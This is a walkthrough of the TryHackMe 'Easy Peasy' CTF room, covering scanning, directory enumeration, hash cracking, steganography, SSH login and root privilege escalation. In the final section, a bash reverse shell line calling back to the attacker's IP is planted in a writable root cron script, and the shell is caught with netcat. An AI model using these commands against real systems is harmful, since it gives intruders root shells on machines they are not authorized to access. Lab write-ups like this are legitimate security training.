6 minutes
THM: Easy Peasy

This room provides a password list file for use -
easypeasy.txt
Nmap
First we scan for open ports
# nmap -p- -T4 -sV -sC 10.10.247.17 -oA nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-05 12:26 BST
Nmap scan report for 10.10.247.17
Host is up (0.023s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.16.1
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.16.1
6498/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 30:4a:2b:22:ac:d9:56:09:f2:da:12:20:57:f4:6c:d4 (RSA)
| 256 bf:86:c9:c7:b7:ef:8c:8b:b9:94:ae:01:88:c0:85:4d (ECDSA)
|_ 256 a1:72:ef:6c:81:29:13:ef:5a:6c:24:03:4c:fe:3d:0b (ED25519)
65524/tcp open http Apache httpd 2.4.43 ((Ubuntu))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.43 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.11 seconds
Website 1
We run feroxbuster against the site and it finds some directories. The first level directory, hidden, just contains an image, however looking in the next directory we find a hidden base64 value in the source.
# feroxbuster --url http://10.10.247.17
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.10.247.17
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Config File β /etc/feroxbuster/ferox-config.toml
π Extract Links β true
π HTTP methods β [GET]
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
404 GET 7l 11w 153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 25l 69w 612c http://10.10.247.17/
301 GET 7l 11w 169c http://10.10.247.17/hidden => http://10.10.247.17/hidden/
301 GET 7l 11w 169c http://10.10.247.17/hidden/whatever => http://10.10.247.17/hidden/whatever/
[####################] - 17s 90000/90000 0s found:3 errors:0
[####################] - 13s 30000/30000 2264/s http://10.10.247.17/
[####################] - 13s 30000/30000 2296/s http://10.10.247.17/hidden/
[####################] - 13s 30000/30000 2320/s http://10.10.247.17/hidden/whatever/
Decoding the hash gives us our first flag, but we no further clues, so we move onto the webserver running on the other port (65524).
Website 2
Nmap indicates there is a robots.txt and looking in it we find a MD5 hash which we can decode with md5hashing.net for another flag.
Continuing to look at the holding page we can see the 3rd flag amoungst the text, and then looking at the source code we see another hidden section.
Using CyberChef we decode the message from base62 and it gives us a hidden directory. When we visit the directory the page is just showing an image, however looking at the page source there is another hash.
Using the information provided in the room we can decode this hash with john.
# john hash --wordlist=easypeasy.txt --format=gost
Using default input encoding: UTF-8
Loaded 1 password hash (gost, GOST R 34.11-94 [64/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
******************** (?)
1g 0:00:00:00 DONE (2025-08-06 01:54) 100.0g/s 409600p/s 409600c/s 409600C/s vgazoom4x..flash88
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We still need somewhere to use this password. We take a look at the image that was on the hidden directory and using the password we just found we discovery some information hidden in the image using steghide. The hidden information gives us a username and a password, but the password value is listed in binary.
# steghide extract -sf binarycodepixabay.jpg
Enter passphrase:
wrote extracted data to "secrettext.txt".
# cat secrettext.txt
username:boring
password:
01101001 01100011 01101111 01101110 01110110 ........
Using CyberChef again, we decode the message from binary to a plain text password. Using these details we login with SSH.
# ssh boring@10.10.101.54 -p 6498
*************************************************************************
** This connection are monitored by government offical **
** Please disconnect if you are not authorized **
** A lawsuit will be filed against you if the law is not followed **
*************************************************************************
boring@10.10.101.54's password:
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
We can now cat out the user flag, however to fully reveal it we need to decode it from ROT13.
boring@kral4-PC:~$ cat user.txt
User Flag But It Seems Wrong Like It`s Rotated Or Something
synt{a**************y}
Privilege escalation
Looking in cron we can see a task that is run as root every minute.
boring@kral4-PC:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root cd /var/www/ && sudo bash .mysecretcronjob.sh
The file it calls is a bash script and it can modified by our user.
boring@kral4-PC:~$ cat /var/www/.mysecretcronjob.sh
#!/bin/bash
# i will run as root
boring@kral4-PC:~$ ls -lah /var/www/.mysecretcronjob.sh
-rwxr-xr-x 1 boring boring 33 Jun 14 2020 /var/www/.mysecretcronjob.sh
So we simply add a reverse shell into it, start a listener and we our root shell and can get the final flag.
boring@kral4-PC:~$ cat /var/www/.mysecretcronjob.sh
#!/bin/bash
# i will run as root
/bin/bash -i >& /dev/tcp/10.11.18.78/6666 0>&1
# nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.11.18.78] from (UNKNOWN) [10.10.247.17] 59174
bash: cannot set terminal process group (852): Inappropriate ioctl for device
bash: no job control in this shell
root@kral4-PC:/var/www# cd
cd
root@kral4-PC:~# ls -lah
ls -lah
total 40K
drwx------ 5 root root 4.0K Jun 15 2020 .
drwxr-xr-x 23 root root 4.0K Jun 15 2020 ..
-rw------- 1 root root 2 Aug 6 02:38 .bash_history
-rw-r--r-- 1 root root 3.1K Jun 15 2020 .bashrc
drwx------ 2 root root 4.0K Jun 13 2020 .cache
drwx------ 3 root root 4.0K Jun 13 2020 .gnupg
drwxr-xr-x 3 root root 4.0K Jun 13 2020 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 39 Jun 15 2020 .root.txt
-rw-r--r-- 1 root root 66 Jun 14 2020 .selected_editor
root@kral4-PC:~# cat .root.txt
cat .root.txt
flag{63****************************45}